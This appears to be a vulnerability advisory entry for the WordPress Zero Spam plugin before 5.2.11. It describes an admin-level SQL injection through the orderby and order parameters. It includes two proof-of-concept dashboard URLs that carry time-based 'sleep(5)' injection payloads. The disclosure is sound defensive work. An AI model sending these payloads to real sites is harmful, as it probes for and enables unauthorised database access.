Zero Spam < 5.2.11 - Admin+ SQL Injection

2022-02-1800:00:00

JrXnm

zero spam

sql injection

admin+

blocked ips

exploit

EPSS

0.002

Percentile

53.1%

JSON

The plugin does not properly sanitise and escape the order and orderby parameters before using them in a SQL statement in the admin dashboard, leading to a SQL injection

With at least one IP in the “Blocked IPs” list:

https://example.com/wp-admin/?page=wordpress-zero-spam-dashboard&tab=blocked&orderby=1%20and%20sleep(5)
https://example.com/wp-admin/?page=wordpress-zero-spam-dashboard&tab=blocked&orderby=date_added&order=+and+sleep(5)